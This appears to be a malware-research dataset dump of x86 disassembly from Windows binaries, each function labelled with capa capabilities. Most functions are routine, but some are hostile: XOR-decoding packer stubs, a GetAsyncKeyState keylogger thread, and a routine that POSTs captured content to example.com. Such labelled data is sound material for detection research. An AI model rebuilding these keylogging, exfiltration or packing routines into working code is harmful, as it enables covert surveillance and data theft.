joyce8/EMBER2024-capa huggingface dataset:
Function at 0x102d6d13
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x102f5bf4], 0
mov dword [0x102f5bf8], 0
mov dword [0x102f5c04], 0
mov ebx, dword [0x102f5bf0]
add ebx, 0xfffff338
mov dword [0x102f5bec], ebx
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
jne 0x102d6d82
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov dword [0x102f5bec], 0x20d1
mov edi, edx
add edi, 1
add ecx, 1
mov dword [0x102f5bf0], 0x7e7
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x102f5bf4], edx
mov ecx, dword [ebp - 0x20]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x2c]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x102f5bf8], edx
mov ecx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x102f5bfc], cl
mov ebx, dword [ebp - 0x20]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x102f5bfc]
mov edx, dword [0x102f5bf8]
mov byte [ebx + edx], cl
mov dword [0x102f5bf0], 0x2664
mov edx, dword [0x102f5bf4]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x102f5bf8]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x102f5c04], ecx
mov dword [0x102f5bec], 0x1fb1
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
mov ch, byte [edx + esi]
mov byte [0x102f5c09], ch
mov byte [0x102f5c0a], cl
xor ch, cl
mov byte [0x102f5c08], ch
mov dword [0x102f5bec], 0x251f
mov edx, dword [ebp - 0x1c]
mov byte [edx + esi], ch
mov dword [0x102f5bf0], 0x13d3
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x38], edi
je 0x102d6d7a
mov eax, dword [0x102f5bf4]
mov dword [ebp - 0x3c], eax
mov eax, dword [0x102f5bf8]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x102d6d82
Function at 0x102d6fd7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [0x102f5bec], 0x1f19
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.102d636a
lea ecx, [0x102d6953]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x38], edx
mov dword [esp + 0x8c], 0x13fa00
mov edx, dword [0x102f5bd8]
mov dword [esp + 0x40], edx
mov edx, dword [0x102f5bdc]
mov dword [esp + 0x54], edx
mov edx, dword [0x102f5be0]
mov dword [esp + 0x84], edx
mov edx, dword [0x102f5be4]
mov dword [esp + 0x48], edx
mov edx, dword [0x102f5be8]
mov dword [esp + 0x5c], edx
mov dword [0x102f5bf0], 0x4bf
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jmp 0x102d706e
mov eax, dword [esp + 0x18]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x14], eax
jne 0x102d7091
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x10], ecx
je 0x102d70a5
mov eax, dword [esp + 0x14]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x102d706e
lea eax, [esp + 0x38]
add eax, 4
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x44], ecx
mov dword [0x102f5bf0], 0xe73
mov edx, dword [esp + 0x10]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov dword [eax], ecx
call fcn.102d699a
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x18], ecx
jne 0x102d7064
lea eax, [esp + 0x38]
mov dword [0x102f5bf0], 0x341
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.102d6ac0
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x18], eax
jmp 0x102d7064

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x3bb638dd
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x63130d4d
nop
nop
nop
nop
nop
test eax, eax
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x1000125c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], 0
call sub.KERNEL32.DLL_GetEnvironmentStringsA
mov ebx, eax
mov dword [ebp - 0x10], ebx
jmp 0x10001299
cmp byte [ebx], 0x3d
je 0x10001285
inc dword [ebp - 0xc]
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
lea ebx, [ebx + edi]
cmp byte [ebx], 0
jne 0x10001278
mov edi, dword [ebp - 0xc]
inc edi
lea edi, [edi*4]
mov dword [ebp - 0x14], edi
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [ebp - 8], eax
mov dword [0x10003010], eax
cmp dword [ebp - 8], 0
jne 0x100012cc
xor eax, eax
jmp 0x10001342
mov ebx, dword [ebp - 0x10]
jmp 0x10001325
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
mov dword [ebp - 4], edi
cmp byte [ebx], 0x3d
je 0x1000131f
push dword [ebp - 4]
call sub.CRTDLL.DLL_malloc
pop ecx
mov esi, dword [ebp - 8]
mov dword [esi], eax
or eax, eax
jne 0x10001308
jmp 0x10001342
push ebx
mov edi, dword [ebp - 8]
push dword [edi]
call sub.CRTDLL.DLL_strcpy
add esp, 8
add dword [ebp - 8], 4
mov edx, dword [ebp - 4]
lea ebx, [ebx + edx]
cmp byte [ebx], 0
jne 0x100012d1
mov edx, dword [ebp - 8]
mov dword [edx], 0
mov eax, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
add eax, reloc.kernel32.dll_FileTimeToSystemTime
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401038
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
sub esp, 0x484
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x480], eax
push ebx
push esi
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x4010f0
push edi
push ebx
push ebx
push 3
push ebx
push ebx
push 0x1bb
push str.example.com
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, eax
test edi, edi
je 0x4010ea
push ebp
xor eax, eax
push eax
push 0x800000
push eax
push eax
push eax
push str._data
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebp, eax
test ebp, ebp
je 0x4010e6
push 0x404400
lea eax, [esp + 0x14]
push str._content_:__s_
push eax
call fcn.00401006
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
add esp, 0x10
push eax
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
push str.Content_Type:_application_json
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push ebp
call ebx
push edi
call ebx
pop ebp
push esi
call ebx
xor ebx, ebx
pop edi
mov esi, 0x4043e0
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
mov dword [0x4043c0], ebx
mov byte [0x404400], bl
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x488]
pop esi
pop ebx
xor ecx, esp
call fcn.0040140a
add esp, 0x484
ret

Function at 0x4013aa
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
push str.GetAsyncKeyState
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, 0x4043e0
mov dword [0x4043f8], eax
push edi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esp + 8]
push eax
xor eax, eax
push eax
push eax
push 0x401126
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
pop ecx
ret

Function at 0x401ce7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401d26
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401d26
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401d26
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401d26
cmp dword [ecx + 0x74], 0xe
jbe 0x401d26
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x52e1e00
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53ebeab
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x54183c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.05328fc9
push 4
mov dword [ebp - 4], 0
call fcn.053506ca
mov edi, eax
add esp, 4
test edi, edi
je 0x52e1e80
call fcn.05328e96
mov dword [edi], eax
call fcn.05328d50
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.05328f8a
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x52e1e76
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.05328fb2
jmp 0x52e1e82
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x52f5280
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53eeda9
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x54183c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov edi, dword [ebp + 8]
push edi
call fcn.05350637
mov dword [ebp - 4], 0
mov dword [esi], vtable.boost::program_options::error_with_option_name.0
mov eax, dword [edi + 0xc]
lea edx, [edi + 0x10]
lea ecx, [esi + 0x10]
push edx
mov dword [esi + 0xc], eax
call fcn.052f5930
lea eax, [edi + 0x20]
lea ecx, [esi + 0x20]
push eax
mov byte [ebp - 4], 1
call fcn.052f5a00
push 0xffffffffffffffff
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 2
push 0
lea edx, [edi + 0x30]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edx
mov byte [ecx], 0
call fcn.052e51b0
push 0xffffffffffffffff
lea ecx, [esi + 0x4c]
mov byte [ebp - 4], 3
push 0
add edi, 0x4c
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edi
mov byte [ecx], 0
call fcn.052e51b0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x52fa390
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53ebeab
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x54183c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.05328fc9
push 4
mov dword [ebp - 4], 0
call fcn.053506ca
mov edi, eax
add esp, 4
test edi, edi
je 0x52fa410
call fcn.05328e96
mov dword [edi], eax
call fcn.05328d50
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.05328f8a
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x52fa406
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.05328fb2
jmp 0x52fa412
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x52fd534
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, dword [0x54183c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x62
push eax
mov word [ebp - 0x68], ax
lea eax, [ebp - 0x66]
mov esi, ecx
push eax
mov dword [ebp - 0x70], esi
call fcn.05351b20
add esp, 0xc
push 0x5419864
lea ecx, [ebp - 0x6c]
call fcn.052eda80
lea eax, [ebp - 0x6c]
push eax
push str._APPDATAEXTENSION_
call fcn.052fd4ab
pop ecx
pop ecx
cmp eax, 1
push 0xffffffffffffffff
lea eax, [ebp - 0x68]
jne 0x52fd58b
push dword [ebp - 0x6c]
jmp 0x52fd590
push str.Symantec
push 0x32
push eax
call fcn.05351a47
add esp, 0x10
push edi
push 0x105
mov ecx, esi
call fcn.052fe3b5
push 0
push dword [ebp + 8]
mov edi, eax
push edi
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x52fd5df
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea eax, [ebp - 0x68]
push eax
push edi
call esi
test eax, eax
je 0x52fd5df
call fcn.053039dd
push eax
push edi
call esi
test eax, eax
je 0x52fd5df
xor esi, esi
inc esi
jmp 0x52fd5e1
xor esi, esi
mov ecx, dword [ebp - 0x70]
push 0xffffffffffffffff
call fcn.052fdfbd
pop edi
test esi, esi
jne 0x52fd625
mov eax, dword [0x5419944]
cmp eax, 0x5419944
je 0x52fd61d
test byte [eax + 0x1c], 1
je 0x52fd61d
cmp byte [eax + 0x19], 2
jb 0x52fd61d
push 0x53f1d80
push 0xd
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.052e5970
add esp, 0x10
mov ecx, dword [ebp - 0x70]
call fcn.052fe2b7
mov ecx, dword [ebp - 0x6c]
add ecx, 0xfffffff0
call fcn.052ed640
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0534fc81
leave
ret
Function at 0x52fd63f
Capabilities:
Get common file path

Disassembly:
push 0x264
mov eax, 0x53e73d1
call fcn.053519dc
mov eax, dword [ebp + 8]
xor ebx, ebx
push ebx
push 0x52fd390
push 8
push 0x3c
push 0x53f1d90
push eax
mov edi, ecx
call fcn.05351b9a
add esp, 0x18
lea ecx, [ebp - 0x268]
mov esi, eax
call fcn.05302607
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
cmp esi, ebx
je 0x52fd74a
mov esi, dword [esi + 4]
cmp esi, 0xf0000000
je 0x52fd8d4
cmp esi, 0xf0000001
je 0x52fd8d0
cmp esi, 0xf0000002
je 0x52fd767
cmp esi, 0xf0000003
je 0x52fd710
lea eax, [ebp - 0x23c]
push eax
push 1
push ebx
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jns 0x52fd6fd
mov eax, dword [0x5419944]
cmp eax, 0x5419944
je 0x52fd74a
test byte [eax + 0x1c], 1
je 0x52fd74a
cmp byte [eax + 0x19], 2
jb 0x52fd74a
push 0x53f1d80
push 0xe
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.052e5970
add esp, 0x10
jmp 0x52fd74a
lea eax, [ebp - 0x23c]
push eax
mov ecx, edi
call fcn.052fe8f9
jmp 0x52fd7b7
push 0x5419864
lea ecx, [ebp - 0x240]
call fcn.052eda80
lea eax, [ebp - 0x240]
push eax
push dword [0x541600c]
mov byte [ebp - 4], 2
call fcn.052fd3a4
pop ecx
pop ecx
test eax, eax
jns 0x52fd751
mov ecx, dword [ebp - 0x240]
add ecx, 0xfffffff0
call fcn.052ed640
xor esi, esi
jmp 0x52fd8e0
lea eax, [ebp - 0x240]
push eax
mov ecx, edi
call fcn.052fe85d
mov ecx, dword [ebp - 0x240]
jmp 0x52fd7af
push 0x5419864
lea ecx, [ebp - 0x244]
call fcn.052eda80
lea eax, [ebp - 0x244]
push eax
push dword [0x5416008]
mov byte [ebp - 4], 3
call fcn.052fd3a4
pop ecx
pop ecx
test eax, eax
jns 0x52fd79b
mov ecx, dword [ebp - 0x244]
jmp 0x52fd742
lea eax, [ebp - 0x244]
push eax
mov ecx, edi
call fcn.052fe85d
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.052ed640
xor esi, esi
inc esi
jmp 0x52fd8e0
push 0x1c
jmp 0x52fd8d6
push 0x23
mov ecx, edi
call fcn.052fd534
mov esi, eax
pop ecx
lea ecx, [ebp - 0x268]
call fcn.053025c5
mov eax, esi
call fcn.05351a38
ret
Function at 0x52ffc00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
mov esi, ecx
cmp edi, 1
je 0x52ffc4a
cmp edi, 2
je 0x52ffc4a
cmp edi, 7
je 0x52ffc4a
mov eax, dword [0x5419944]
cmp eax, 0x5419944
je 0x52ffc46
test byte [eax + 0x1c], 1
je 0x52ffc46
cmp byte [eax + 0x19], 2
jb 0x52ffc46
push 0x53f229c
push 0x1c
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.052e5970
add esp, 0x10
xor eax, eax
jmp 0x52ffc76
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0xc]
push edi
push 0
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ecx, ecx
test eax, eax
sete cl
mov dword [esi + 8], eax
mov eax, ecx
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x52ffc7c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
mov esi, ecx
push dword [esi + 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [esi + 8], eax
test eax, eax
je 0x52ffcb3
xor eax, eax
jmp 0x52ffcf2
cmp dword [ebp - 4], 4
je 0x52ffcef
mov eax, dword [0x5419944]
cmp eax, 0x5419944
je 0x52ffce6
test byte [eax + 0x1c], 1
je 0x52ffce6
cmp byte [eax + 0x19], 2
jb 0x52ffce6
push 0x53f229c
push 0x1d
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.052e5970
add esp, 0x10
mov dword [esi + 8], 0xd
jmp 0x52ffcaf
xor eax, eax
inc eax
pop esi
leave
ret 8
Function at 0x5300894
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x64
mov eax, 0x53e7496
call fcn.053519dc
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, ecx
lea ecx, [ebp - 0x38]
push ecx
mov dword [ebp - 0x40], eax
xor eax, eax
push eax
lea ecx, [ebp - 0x3c]
push ecx
push eax
push ebx
push dword [esi + 4]
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
call edi
mov dword [esi + 8], eax
test eax, eax
je 0x53008da
xor eax, eax
jmp 0x5300a53
cmp dword [ebp - 0x3c], 1
je 0x530091c
cmp dword [ebp - 0x3c], 2
je 0x530091c
mov eax, dword [0x5419944]
cmp eax, 0x5419944
je 0x5300913
test byte [eax + 0x1c], 1
je 0x5300913
cmp byte [eax + 0x19], 2
jb 0x5300913
push 0x53f229c
push 0x19
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.052e5970
add esp, 0x10
mov dword [esi + 8], 0xd
jmp 0x53008d3
test byte [ebp - 0x38], 1
je 0x5300943
mov eax, dword [0x5419944]
cmp eax, 0x5419944
je 0x5300913
test byte [eax + 0x1c], 1
je 0x5300913
cmp byte [eax + 0x19], 2
jb 0x5300913
push 0x53f229c
push 0x1a
jmp 0x5300905
lea ecx, [ebp - 0x68]
call fcn.05302607
mov eax, dword [ebp - 0x38]
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x40]
add eax, 2
mov dword [ebp - 0x38], eax
shr eax, 1
push eax
mov byte [ebp - 4], 1
call fcn.05300af6
lea ecx, [ebp - 0x38]
push ecx
push eax
lea eax, [ebp - 0x3c]
push eax
push 0
push ebx
push dword [esi + 4]
call edi
mov ecx, dword [ebp - 0x40]
push 0xffffffffffffffff
mov dword [esi + 8], eax
call fcn.052fdfbd
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x5300a2c
mov eax, dword [0x5419944]
cmp eax, 0x5419944
je 0x53009be
test byte [eax + 0x1c], 1
je 0x53009be
cmp byte [eax + 0x19], 2
jb 0x53009be
push ecx
push 0x53f229c
push 0x1b
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.05308899
add esp, 0x14
mov ecx, dword [ebp - 0x40]
call fcn.052fe2b7
jmp 0x5300a2c
lea ecx, [ebp - 0x68]
call fcn.053025af
test al, al
je 0x5300a3f
mov dword [esi + 8], 0xe
xor eax, eax
cmp dword [esi + 8], eax
lea ecx, [ebp - 0x68]
sete al
mov esi, eax
call fcn.053025c5
mov eax, esi
call fcn.05351a38
ret 8
Function at 0x5301fdc
Capabilities:
Get system information on windows

Disassembly:
cmp byte [0x541be8e], 0
jne 0x5302080
push esi
push edi
mov edi, 0x11c
push edi
push 0
mov esi, 0x541bd48
push esi
call fcn.05351b20
add esp, 0xc
mov dword [0x541bd48], edi
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push esi
call edi
test eax, eax
jne 0x530205e
push esi
mov dword [0x541bd48], 0x114
call edi
test eax, eax
jne 0x530205e
mov eax, dword [0x5419944]
cmp eax, 0x5419944
je 0x530205e
test byte [eax + 0x1c], 1
je 0x530205e
cmp byte [eax + 0x19], 2
jb 0x530205e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov eax, dword [0x5419944]
push 0x53f22e8
push 0x19
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.05308899
add esp, 0x14
push 0x24
push 0
mov esi, 0x541be64
push esi
call fcn.05351b20
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
pop edi
mov byte [0x541be8e], 1
pop esi
mov al, 1
ret